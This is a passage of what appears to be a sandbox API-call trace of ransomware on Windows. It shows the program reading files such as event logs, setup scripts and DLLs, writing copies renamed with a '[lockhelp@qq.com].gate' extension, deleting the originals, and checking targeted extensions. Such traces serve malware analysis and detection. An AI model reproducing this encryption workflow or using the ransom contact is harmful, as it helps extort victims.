(lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0129.374] GetLastError () returned 0x0 [0129.374] ReadFile (in: hFile=0x390, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0129.580] WriteFile (in: hFile=0x398, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0129.582] ReadFile (in: hFile=0x390, lpBuffer=0x38b5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0129.582] WriteFile (in: hFile=0x398, lpBuffer=0x38b5020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38b5020*, lpNumberOfBytesWritten=0x266fc94*=0x154, lpOverlapped=0x0) returned 1 [0129.582] SetEndOfFile (hFile=0x398) returned 1 [0129.582] CloseHandle (hObject=0x398) returned 1 [0129.585] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.585] SetEndOfFile (hFile=0x390) returned 1 [0129.587] CloseHandle (hObject=0x390) returned 1 [0129.587] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0129.587] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1 [0129.588] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0129.588] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0129.588] lstrlenW (lpString=".doc") returned 4 [0129.588] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0129.588] lstrlenW (lpString=".docx") returned 5 [0129.588] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0129.588] lstrlenW (lpString=".pdf") returned 4 [0129.588] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0129.588] lstrlenW (lpString=".xls") returned 4 [0129.588] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0129.588] lstrlenW (lpString=".xlsx") returned 5 [0129.588] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0129.588] lstrlenW (lpString=".ppt") returned 4 [0129.588] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0129.588] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0129.588] lstrlenW (lpString=".zip") returned 4 [0129.588] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0129.588] lstrlenW (lpString=".rar") returned 4 [0129.588] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0129.588] lstrlenW (lpString=".bz2") returned 4 [0129.588] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0129.588] lstrlenW (lpString=".7z") returned 3 [0129.588] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0129.588] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0129.588] lstrlenW (lpString=".dbf") returned 4 [0129.588] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0129.588] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0129.589] lstrlenW (lpString=".1cd") returned 4 [0129.589] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0129.589] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0129.589] lstrlenW (lpString=".jpg") returned 4 [0129.589] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0129.589] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0129.589] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0129.589] lstrlenW (lpString=".doc") returned 4 [0129.589] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0129.589] lstrlenW (lpString=".docx") returned 5 [0129.589] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0129.589] lstrlenW (lpString=".pdf") returned 4 [0129.589] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0129.589] lstrlenW (lpString=".xls") returned 4 [0129.589] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0129.589] lstrlenW (lpString=".xlsx") returned 5 [0129.589] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0129.589] lstrlenW (lpString=".ppt") returned 4 [0129.589] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0129.589] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0129.589] lstrlenW (lpString=".zip") returned 4 [0129.589] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0129.589] lstrlenW (lpString=".rar") returned 4 [0129.589] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0129.589] lstrlenW (lpString=".bz2") returned 4 [0129.589] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0129.589] lstrlenW (lpString=".7z") returned 3 [0129.590] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0129.590] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0129.590] lstrlenW (lpString=".dbf") returned 4 [0129.590] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0129.590] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0129.590] lstrlenW (lpString=".1cd") returned 4 [0129.590] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0129.590] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0129.590] lstrlenW (lpString=".jpg") returned 4 [0129.590] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0129.590] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0129.590] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47 [0129.590] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0129.590] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0129.591] CloseHandle (hObject=0x390) returned 1 [0129.591] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0129.591] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0129.591] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0129.591] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.591] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0129.591] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 16 os_tid = 0xd44 [0109.622] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x65e490 [0109.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x66e498 [0109.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60ccb0 [0109.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x63d1c0 [0109.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cbc0 [0109.623] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x39cf020 [0109.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cad0 [0109.626] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60cad0, Size=0x20) returned 0x5eea70 [0109.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60ca70 [0109.626] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60ca70, Size=0x20) returned 0x5ee9d0 [0109.626] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.626] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0109.626] Wow64DisableWow64FsRedirection (in: OldValue=0x2eaff50 | out: OldValue=0x2eaff50*=0x0) returned 1 [0109.626] lstrlenW (lpString="kernel32.dll") returned 12 [0109.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea70 | out: hHeap=0x5b0000) returned 1 [0109.626] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0109.626] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee9d0 | out: hHeap=0x5b0000) returned 1 [0109.626] Sleep (dwMilliseconds=0x64) [0109.831] Sleep (dwMilliseconds=0x64) [0110.273] lstrcmpiW (lpString1=".cmd", lpString2=".gate") returned -1 [0110.273] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0110.273] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0110.286] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=577) returned 1 [0110.286] CloseHandle (hObject=0x308) returned 1 [0110.286] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0110.286] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.287] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0110.287] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0110.287] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0110.287] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0110.845] GetLastError () returned 0x0 [0110.845] ReadFile (in: hFile=0x308, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x241, lpOverlapped=0x0) returned 1 [0111.016] WriteFile (in: hFile=0x334, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x250, lpOverlapped=0x0) returned 1 [0111.018] ReadFile (in: hFile=0x308, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0111.018] WriteFile (in: hFile=0x334, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x104, lpOverlapped=0x0) returned 1 [0111.018] SetEndOfFile (hFile=0x334) returned 1 [0111.018] CloseHandle (hObject=0x334) returned 1 [0111.019] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.019] SetEndOfFile (hFile=0x308) returned 1 [0111.020] CloseHandle (hObject=0x308) returned 1 [0111.020] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0111.020] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0111.021] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0111.021] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0111.021] lstrlenW (lpString=".doc") returned 4 [0111.021] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0111.021] lstrlenW (lpString=".docx") returned 5 [0111.021] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0111.021] lstrlenW (lpString=".pdf") returned 4 [0111.021] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0111.021] lstrlenW (lpString=".xls") returned 4 [0111.021] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0111.021] lstrlenW (lpString=".xlsx") returned 5 [0111.021] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0111.021] lstrlenW (lpString=".ppt") returned 4 [0111.021] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0111.022] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0111.022] lstrlenW (lpString=".zip") returned 4 [0111.022] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0111.022] lstrlenW (lpString=".rar") returned 4 [0111.022] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0111.022] lstrlenW (lpString=".bz2") returned 4 [0111.022] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0111.022] lstrlenW (lpString=".7z") returned 3 [0111.022] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0111.022] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0111.022] lstrlenW (lpString=".dbf") returned 4 [0111.022] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0111.022] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0111.022] lstrlenW (lpString=".1cd") returned 4 [0111.022] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0111.022] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0111.023] lstrlenW (lpString=".jpg") returned 4 [0111.023] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0111.023] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0111.023] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0111.023] lstrlenW (lpString=".doc") returned 4 [0111.023] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0111.023] lstrlenW (lpString=".docx") returned 5 [0111.023] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0111.023] lstrlenW (lpString=".pdf") returned 4 [0111.023] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0111.023] lstrlenW (lpString=".xls") returned 4 [0111.023] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0111.023] lstrlenW (lpString=".xlsx") returned 5 [0111.023] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0111.023] lstrlenW (lpString=".ppt") returned 4 [0111.024] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0111.024] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0111.024] lstrlenW (lpString=".zip") returned 4 [0111.024] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0111.024] lstrlenW (lpString=".rar") returned 4 [0111.024] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0111.024] lstrlenW (lpString=".bz2") returned 4 [0111.024] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0111.024] lstrlenW (lpString=".7z") returned 3 [0111.024] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0111.024] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0111.024] lstrlenW (lpString=".dbf") returned 4 [0111.024] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0111.024] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0111.024] lstrlenW (lpString=".1cd") returned 4 [0111.024] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0111.024] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0111.025] lstrlenW (lpString=".jpg") returned 4 [0111.025] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0111.025] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0111.025] lstrlenW (lpString="SetupResources.dll") returned 18 [0111.025] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0111.025] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=18264) returned 1 [0111.025] CloseHandle (hObject=0x308) returned 1 [0111.026] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0111.026] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.026] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0111.026] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.026] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.026] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0111.028] GetLastError () returned 0x0 [0111.028] ReadFile (in: hFile=0x308, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x4758, lpOverlapped=0x0) returned 1 [0111.091] WriteFile (in: hFile=0x334, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x4760, lpOverlapped=0x0) returned 1 [0111.093] ReadFile (in: hFile=0x308, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0111.093] WriteFile (in: hFile=0x334, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xf8, lpOverlapped=0x0) returned 1 [0111.093] SetEndOfFile (hFile=0x334) returned 1 [0111.093] CloseHandle (hObject=0x334) returned 1 [0111.094] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.094] SetEndOfFile (hFile=0x308) returned 1 [0111.095] CloseHandle (hObject=0x308) returned 1 [0111.095] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.096] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0111.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0111.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0111.096] lstrlenW (lpString=".doc") returned 4 [0111.096] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.096] lstrlenW (lpString=".docx") returned 5 [0111.096] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.096] lstrlenW (lpString=".pdf") returned 4 [0111.096] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.096] lstrlenW (lpString=".xls") returned 4 [0111.096] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.096] lstrlenW (lpString=".xlsx") returned 5 [0111.097] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.097] lstrlenW (lpString=".ppt") returned 4 [0111.097] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0111.097] lstrlenW (lpString=".zip") returned 4 [0111.097] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.097] lstrlenW (lpString=".rar") returned 4 [0111.097] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.097] lstrlenW (lpString=".bz2") returned 4 [0111.097] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.097] lstrlenW (lpString=".7z") returned 3 [0111.097] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0111.097] lstrlenW (lpString=".dbf") returned 4 [0111.097] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0111.097] lstrlenW (lpString=".1cd") returned 4 [0111.097] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0111.097] lstrlenW (lpString=".jpg") returned 4 [0111.097] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0111.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0111.098] lstrlenW (lpString=".doc") returned 4 [0111.098] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.098] lstrlenW (lpString=".docx") returned 5 [0111.098] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.098] lstrlenW (lpString=".pdf") returned 4 [0111.098] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.098] lstrlenW (lpString=".xls") returned 4 [0111.098] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.098] lstrlenW (lpString=".xlsx") returned 5 [0111.098] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.098] lstrlenW (lpString=".ppt") returned 4 [0111.098] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0111.098] lstrlenW (lpString=".zip") returned 4 [0111.098] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.098] lstrlenW (lpString=".rar") returned 4 [0111.098] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.098] lstrlenW (lpString=".bz2") returned 4 [0111.098] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.098] lstrlenW (lpString=".7z") returned 3 [0111.098] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0111.098] lstrlenW (lpString=".dbf") returned 4 [0111.098] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0111.098] lstrlenW (lpString=".1cd") returned 4 [0111.099] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.099] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0111.099] lstrlenW 